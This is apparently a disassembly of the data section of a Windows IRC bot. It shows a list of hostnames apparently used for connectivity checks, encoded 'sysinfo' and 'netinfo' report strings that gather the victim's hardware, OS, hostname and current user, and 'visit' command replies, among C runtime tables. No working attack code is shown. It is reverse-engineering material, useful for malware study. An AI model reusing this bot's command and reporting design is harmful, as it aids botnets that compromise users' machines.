aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43A030	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43A10C	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AA42+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA42:loc_41ABA6o
		align 10h
aSS_1		db '%s (%s)',0          ; DATA XREF: sub_41AA42+EBo
a2003		db '2003',0             ; DATA XREF: sub_41AA42+BAo
		align 10h
dword_43A140	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41ACF6+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43A184	dd offset word_412F4E	; DATA XREF: sub_41ACF6:loc_41AD62o
off_43A188	dd offset dword_4E414C	; DATA XREF: sub_41ACF6:loc_41AD58o
dword_43A18C	dd 6C616944h, 70752Dh	; DATA XREF: sub_41ACF6+5Bo
dword_43A194	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41ACF6+48o
unk_43A1A4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF6Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A1D4	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF67o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 10h
dword_43A200	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41ADB5+1A0o
		dd 4C525520h, 2Eh
unk_43A21C	db  2Dh	; -		; DATA XREF: sub_41ADB5:loc_41AF48o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43A258	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB5+18Co
		dd 64657469h, 2Eh
dword_43A274	dd 2A2F2Ah, 2 dup(0)	; DATA XREF: sub_41ADB5+3Bo
dword_43A280	dd 4F310EF8h		; DATA XREF: sub_41B8D8+4w sub_41B8E2r ...
		align 10h
dword_43A290	dd 173Fh		; DATA XREF: sub_41C679+Dr
		dd 9875h, 9873h
off_43A29C	dd offset sub_41C748	; DATA XREF: ___:0041B784r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A2A8	dd 1B3Fh		; DATA XREF: sub_41C7BF+Dr
dword_43A2AC	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41CC41+2o
					; sub_41CC4A+2o
off_43A2C0	dd offset sub_41B7C2	; DATA XREF: sub_41DA29+1Cr
dword_43A2C4	dd 2			; DATA XREF: sub_423590+Er
					; sub_4235C9+46r ...
		dd 10h,	0
off_43A2D0	dd offset off_43A2D0	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A2D4	dd offset off_43A2D0	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A2E8
		dd offset dword_43A2E8
dword_43A2E0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A2E8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043A2D8o
					; ___:0043A2DCo
off_43C2F0	dd offset off_43A2D0	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C2F4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C2F8	dd offset word_43C302	; DATA XREF: sub_41B6EE+23r
					; sub_41B6EE:loc_41B74Fr ...
off_43C2FC	dd offset word_43C302	; DATA XREF: sub_426BC1+18r
		db 2 dup(0)
word_43C302	dw 20h			; DATA XREF: sub_424D47+18r
					; ___:off_43C2F8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43C504	dd 1			; DATA XREF: sub_41B6EE:loc_41B6F6r
					; sub_41B6EE:loc_41B73Ar ...
byte_43C508	db 2Eh			; DATA XREF: sub_420510:loc_420804r
					; sub_420510+311r ...
		align 4
		dd 1
off_43C510	dd offset aNull_0	; DATA XREF: sub_41F69F:loc_41FA03r
					; sub_41F69F+457r
					; "(null)"
off_43C514	dd offset aNull		; DATA XREF: sub_41F69F+259r
					; "(null)"
byte_43C518	db 1			; DATA XREF: sub_41FEA9+E1r
		db 2, 4, 8
		align 10h
dword_43C520	dd 3A4h			; DATA XREF: sub_41FEA9+2Fo
dword_43C524	dd 82798260h, 21h, 0	; DATA XREF: sub_41FEA9+11Dr
dword_43C530	dd 0DFA6h		; DATA XREF: sub_41FEA9+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43C610	dd 1			; DATA XREF: sub_41FEA9+3Co
					; sub_4203DF+Co
dword_43C614	dd 16h			; DATA XREF: sub_4203DF:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43C778	dd 0D2D0920h, 5Dh	; DATA XREF: sub_4203DF+19o
					; sub_420510:loc_420A77o
dword_43C780	dd 5Dh,	0		; DATA XREF: sub_420510:loc_420967o
dword_43C788	dd 14h			; DATA XREF: sub_421624+2o
off_43C78C	dd offset aExp		; DATA XREF: sub_421624:loc_421641r
					; "exp"
		dd 1Dh,	427878h, 1Ah, 42C268h, 1Bh, 427870h, 1Fh, 427868h
		dd 13h,	427860h, 21h, 427858h, 0Eh, 427850h, 0Dh, 427848h
		dd 0Fh,	427840h, 10h, 427838h, 5, 427830h, 1Eh,	42782Ch
		dd 12h,	427828h, 20h, 427824h, 0Ch, 42781Ch, 0Bh, 427814h
		dd 15h,	42780Ch, 1Ch, 427804h, 19h, 4277FCh, 11h, 4277F4h
		dd 18h,	4277ECh, 16h, 4277E4h, 17h, 4277DCh, 22h, 4277D8h
		dd 23h,	4277D4h, 24h, 4277D0h
dbl_43C860	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+B7r
					; sub_42135F:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43C870	dq 1.797693134862316e308 ; DATA	XREF: sub_42135F+92r
					; sub_42135F:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43C888	dt 2.3562723457267347066e313 ; DATA XREF: sub_42180C+Dr
					; sub_42180C+1Fr
		align 4
tbyte_43C894	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42180C+31r
		align 10h
off_43C8A0	dd offset sub_421CA0	; DATA XREF: sub_41C760+Fw
					; sub_41F69F+3AAr
off_43C8A4	dd offset sub_421935	; DATA XREF: sub_41C760+5w
					; sub_41F69F+3E2r
off_43C8A8	dd offset sub_42199B	; DATA XREF: sub_41C760+14w
					; sub_420510+430r
off_43C8AC	dd offset sub_4218DB	; DATA XREF: sub_41C760+1Ew
					; sub_41F69F+3CBr
off_43C8B0	dd offset sub_421983	; DATA XREF: sub_41C760+28w
off_43C8B4	dd offset sub_421CA0	; DATA XREF: sub_41C760+32w
		dd offset sub_42470C
		align 10h
		dd offset sub_42255C
off_43C8C4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43C8C8	dd 0C0000005h		; DATA XREF: sub_422E2F+Ar
					; sub_422E2F+11o ...
dword_43C8CC	dd 0Bh			; DATA XREF: sub_425A82+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43C940	dd 3			; DATA XREF: ___:00422D46r
					; sub_425955+C8r
dword_43C944	dd 7			; DATA XREF: ___:00422D4Cr
					; sub_425955+CDr
dword_43C948	dd 0Ah			; DATA XREF: sub_422E2F+4r
					; sub_425A82+4r
dword_43C94C	dd 8Ch			; DATA XREF: ___:00422D70r
					; ___:00422D7Dw ...
dword_43C950	dd 0FFFFFFFFh, 0A00h	; DATA XREF: sub_41F043:loc_41F0C4o
					; sub_41F58A:loc_41F647o
dword_43C958	dd 2			; DATA XREF: sub_4235C9+Eo
					; sub_4235C9+28r
off_43C95C	dd offset aR6002FloatingP ; DATA XREF: sub_4235C9+FCr
					; sub_4235C9+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B94h, 9, 427B68h, 0Ah,	427B44h, 10h, 427B18h
		dd 11h,	427AE8h, 12h, 427AC4h, 13h, 427A98h, 18h, 427A60h
		dd 19h,	427A38h, 1Ah, 427A00h, 1Bh, 4279C8h, 1Ch, 4279A0h
		dd 78h,	427990h, 79h, 427980h, 7Ah, 427970h, 0FCh, 43381Ch
		dd 0FFh, 427960h
off_43C9E8	dd offset dword_4DB5A0	; DATA XREF: sub_4235C9+1Bo
					; sub_423936+55o
		align 10h
		dd offset dword_4DB5A0
		dd 101h
dword_43C9F8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_423936+72o
		dd 1000h, 0
dword_43CA08	dd 3 dup(0)		; DATA XREF: sub_41F58A+50o
					; sub_420446+12o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43CA28	dd 3 dup(0)		; DATA XREF: sub_41F58A+58o
					; sub_420446:loc_420464o
		dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43CA58	dd 84h dup(0)		; DATA XREF: sub_423936+9Bo
dword_43CC68	dd 2 dup(0)		; DATA XREF: sub_423936+69o
dword_43CC70	dd 2694h		; DATA XREF: sub_420FC1+3r
					; sub_421014+46r
		align 8
dword_43CC78	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_4244ECo
dword_43CC90	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424502o
dword_43CCA8	dd 7080h		; DATA XREF: sub_422669+76r
					; sub_4247EC+5Ew ...
dword_43CCAC	dd 1			; DATA XREF: sub_422669+98r
					; sub_4247EC+8Bw ...
dword_43CCB0	dd 0FFFFF1F0h		; DATA XREF: sub_422669:loc_42271Br
					; sub_4247EC+94w ...
off_43CCB4	dd offset dword_545350	; DATA XREF: ___:off_43CD34o
		dd 0Fh dup(0)
off_43CCF4	dd offset dword_544450	; DATA XREF: ___:off_43CD38o
		dd 0Fh dup(0)
off_43CD34	dd offset off_43CCB4	; DATA XREF: sub_4247EC+BAr
					; sub_4247EC+D9r ...
off_43CD38	dd offset off_43CCF4	; DATA XREF: sub_4247EC+F4r
					; sub_4247EC+11Br ...
		align 10h
dword_43CD40	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+1Dw
					; sub_424A4A+1Er ...
dword_43CD44	dd 0			; DATA XREF: sub_424A4A:loc_424B7Er
					; sub_424BF6+BFw
dword_43CD48	dd 0			; DATA XREF: sub_424A4A+192r
					; sub_424BF6+E0w
		align 10h
dword_43CD50	dd 0FFFFFFFFh		; DATA XREF: sub_4247EC+17w
					; sub_424A4A+26r ...
dword_43CD54	dd 0			; DATA XREF: sub_424A4A+13Ar
					; sub_424BF6+EAw ...
dword_43CD58	dd 0			; DATA XREF: sub_424A4A+1A1r
					; sub_424BF6+23r ...
dword_43CD5C	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_43CD8C	dd 16Dh			; DATA XREF: sub_422669+2Ar
					; sub_424BF6+2Er ...
dword_43CD90	dd 0FFFFFFFFh		; DATA XREF: sub_424BF6:loc_424C82r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_43CDC8	dd 2 dup(0)		; DATA XREF: sub_425DDA+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43CF28	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D084	dd offset off_427D68	; DATA XREF: ___:00427F44o
					; ___:00428030o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D09C	dd offset off_427D68	; DATA XREF: ___:off_427DF8o
					; ___:00427E38o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D0BC	dd offset off_427D68	; DATA XREF: ___:off_427E40o
					; ___:00427E84o ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D0DC	dd offset off_427D68	; DATA XREF: ___:off_427E8Co
					; ___:00427ED0o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D100	dd offset off_427D68	; DATA XREF: ___:off_427ED8o
					; ___:00427F14o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D120	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D128	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D130	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B07o ...
		dd 5 dup(0)
dword_43D148	dd 0			; DATA XREF: sub_401ACD+B63r
					; sub_4150B4+60r
		dd 2D9h	dup(0)
dword_43DCB0	dd 0			; DATA XREF: sub_401ACD+5E62r
					; sub_401ACD+5F3Fr ...
		dd 7Fh dup(0)
dword_43DEB0	dd 0			; DATA XREF: sub_40B0F6+41w
					; sub_40B231+40w ...
dword_43DEB4	dd 0			; DATA XREF: sub_40B0F6+47w
					; sub_40B231+46w ...
dword_43DEB8	dd 0			; DATA XREF: sub_40B0F6+52w
					; sub_40B231+3Ar ...
dword_43DEBC	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43DEC0	dd 0			; DATA XREF: sub_40B231+75r
					; sub_40B412+2Aw ...
dword_43DEC4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43DEC8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA7r ...
		align 4
		dd 1E21h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:0043375Co
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00437A48o
dword_450050	dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_4384B8o
dword_457444	dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438324o
dword_4B5248	dd 569Ah dup(0)
dword_4CACB0	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F6+13o ...
dword_4CACB4	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D7r ...
dword_4CACB8	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CACBC	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CAD3C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CAD7C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CAE0C	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CAE10	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CAE20	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CAE24	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CAE28	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CAE2C	dd 0			; DATA XREF: sub_401ACD+7DBFo
					; sub_40C9A4+13o ...
dword_4CAE30	dd 0			; DATA XREF: sub_409B12+4A7w
					; sub_409B12+4EBr ...
dword_4CAE34	dd 0			; DATA XREF: sub_409B12+65w
					; sub_4196BC+166r
dword_4CAE38	dd 0			; DATA XREF: sub_409B12+80Bw
					; sub_409B12+880r ...
dword_4CAE3C	dd 0			; DATA XREF: sub_409B12+9D8w
					; sub_409B12+A43r ...
dword_4CAE40	dd 0			; DATA XREF: sub_409B12+98Aw
					; sub_409B12+A13r ...
dword_4CAE44	dd 0			; DATA XREF: sub_409B12+48Dw
					; sub_409B12+4DBr ...
dword_4CAE48	dd 0			; DATA XREF: sub_409B12+213w
					; sub_409B12+234r
dword_4CAE4C	dd 0			; DATA XREF: sub_409B12+9CBw
					; sub_409B12+A3Br ...
dword_4CAE50	dd 0			; DATA XREF: sub_409B12+372w
					; sub_409B12+3C7r ...
dword_4CAE54	dd 0			; DATA XREF: sub_409B12+40Fw
					; sub_41AA42+11Er
dword_4CAE58	dd 0			; DATA XREF: sub_409B12+37Fw
					; sub_409B12+3CFr ...
dword_4CAE5C	dd 0			; DATA XREF: sub_409B12+3C0w
					; sub_418C8E+ADr
dword_4CAE60	dd 0			; DATA XREF: sub_409B12+55Aw
					; sub_40F0D5+115r ...
dword_4CAE64	dd 0			; DATA XREF: sub_409B12+72w
					; sub_409B12+D2r ...
dword_4CAE68	dd 0			; DATA XREF: sub_409B12+97Dw
					; sub_409B12+A06r ...
dword_4CAE6C	dd 0			; DATA XREF: sub_409B12+3A6w
					; sub_409B12+3E7r ...
dword_4CAE70	dd 0			; DATA XREF: sub_409B12+859w
					; sub_409B12+8ACr ...
dword_4CAE74	dd 0			; DATA XREF: sub_409B12+2A5w
					; sub_409B12+2F0r ...
dword_4CAE78	dd 0			; DATA XREF: sub_409B12+84Cw
					; sub_409B12+8A4r ...
dword_4CAE7C	dd 0			; DATA XREF: sub_409B12+B3w
dword_4CAE80	dd 0			; DATA XREF: sub_409B12+866w
					; sub_409B12+8B4r ...
dword_4CAE84	dd 0			; DATA XREF: sub_409B12+54Dw
					; sub_409B12+6D0r ...
dword_4CAE88	dd 0			; DATA XREF: sub_409B12+58w
					; sub_409B12+CAr ...
dword_4CAE8C	dd 0			; DATA XREF: sub_409B12+934w
dword_4CAE90	dd 0			; DATA XREF: sub_401ACD:loc_403F25r
					; sub_409B12+A95w ...
dword_4CAE94	dd 0			; DATA XREF: sub_409B12+A6w
					; sub_409B12+F2r
dword_4CAE98	dd 0			; DATA XREF: sub_409B12+480w
					; sub_409B12+4D3r ...
dword_4CAE9C	dd 0			; DATA XREF: sub_409B12+5F6w
					; sub_40BFA3+20r
dword_4CAEA0	dd 0			; DATA XREF: sub_409B12+9BEw
					; sub_409B12+A33r
dword_4CAEA4	dd 0			; DATA XREF: sub_409B12+5E9w
					; sub_409B12+754r ...
dword_4CAEA8	dd 0			; DATA XREF: sub_409B12+A0Cw
dword_4CAEAC	dd 0			; DATA XREF: sub_409B12+B50w
dword_4CAEB0	dd 0			; DATA XREF: sub_409B12+7FEw
					; sub_409B12+86Dr ...
dword_4CAEB4	dd 0			; DATA XREF: sub_409B12+1B3w
					; sub_40B2F1+3Do ...
dword_4CAEB8	dd 0			; DATA XREF: sub_409B12+997w
					; sub_409B12+A1Br ...
dword_4CAEBC	dd 0			; DATA XREF: sub_409B12+38Cw
					; sub_409B12+3D7r ...
dword_4CAEC0	dd 0			; DATA XREF: sub_409B12+399w
					; sub_409B12+3DFr ...
dword_4CAEC4	dd 0			; DATA XREF: sub_409B12+C85w
					; sub_409B12+C8Cr ...
dword_4CAEC8	dd 0			; DATA XREF: sub_409B12+6ACw
					; ___:0041088Fr
dword_4CAECC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CAED0	dd 0			; DATA XREF: sub_409B12+4B4w
					; sub_4153BC+207r
dword_4CAED4	dd 0			; DATA XREF: sub_409B12+9E5w
					; sub_409B12+A4Br ...
dword_4CAED8	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B12+2B2w ...
dword_4CAEDC	dd 0			; DATA XREF: sub_409B12+7Fw
					; sub_409B12+DAr ...
dword_4CAEE0	dd 0			; DATA XREF: sub_401ACD+5911r
					; sub_401ACD+79CEr ...
dword_4CAEE4	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5117r ...
dword_4CAEE8	dd 0			; DATA XREF: sub_409B12+825w
					; sub_409B12+890r ...
dword_4CAEEC	dd 0			; DATA XREF: sub_409B12+9A4w
					; sub_409B12+A23r
dword_4CAEF0	dd 0			; DATA XREF: sub_409B12+C0Ew
					; sub_409B12+C3Fr
dword_4CAEF4	dd 0			; DATA XREF: sub_409B12+2CCw
					; sub_4184E1+47r
dword_4CAEF8	dd 0			; DATA XREF: sub_409B12+22Dw
dword_4CAEFC	dd 0			; DATA XREF: sub_409B12+91Aw
					; sub_409B12+92Er
dword_4CAF00	dd 0			; DATA XREF: sub_409B12+C28w
dword_4CAF04	dd 0			; DATA XREF: sub_409B12+2D9w
					; sub_4184E1+4Fr
dword_4CAF08	dd 0			; DATA XREF: sub_409B12+574w
					; sub_409B12+6E8r ...
dword_4CAF0C	dd 0			; DATA XREF: sub_409B12+83Fw
					; sub_409B12+873r
dword_4CAF10	dd 0			; DATA XREF: sub_409B12+220w
					; sub_409B12+23Cr
dword_4CAF14	dd 0			; DATA XREF: sub_409B12+172w
					; sub_409B12+1C2r ...
dword_4CAF18	dd 0			; DATA XREF: sub_401ACD+1E30r
					; sub_401ACD+5AC7r ...
dword_4CAF1C	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A1r ...
dword_4CAF20	dd 0			; DATA XREF: sub_409B12+567w
					; sub_409B12+6DCr ...
dword_4CAF24	dd 0			; DATA XREF: sub_409B12+8DBw
					; sub_409B12:loc_40A40Bw ...
dword_4CAF28	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B12+28Bw ...
dword_4CAF2C	dd 0			; DATA XREF: sub_401ACD+7959r
					; sub_409B12+69Fw ...
dword_4CAF30	dd 0			; DATA XREF: sub_409B12+32Dw
					; sub_409B12+341r ...
dword_4CAF34	dd 0			; DATA XREF: sub_409B12+3B3w
					; sub_409B12+3EFr ...
dword_4CAF38	dd 0			; DATA XREF: sub_409B12+C01w
					; sub_409B12+C37r
dword_4CAF3C	dd 0			; DATA XREF: sub_409B12+818w
					; sub_409B12+888r ...
dword_4CAF40	dd 0			; DATA XREF: sub_409B12+206w
					; sub_409B12+227r
dword_4CAF44	dd 0			; DATA XREF: sub_409B12+18Cw
					; sub_409B12+1D2r ...
dword_4CAF48	dd 0			; DATA XREF: sub_409B12+832w
					; sub_409B12+898r ...
dword_4CAF4C	dd 0			; DATA XREF: sub_409B12+624w
					; sub_409B12+774r
dword_4CAF50	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B12+2BFw ...
dword_4CAF54	dd 0			; DATA XREF: sub_409B12+66Bw
					; sub_409B12+79Cr ...
dword_4CAF58	dd 0			; DATA XREF: sub_409B12+320w
					; sub_409B12+334r ...
dword_4CAF5C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
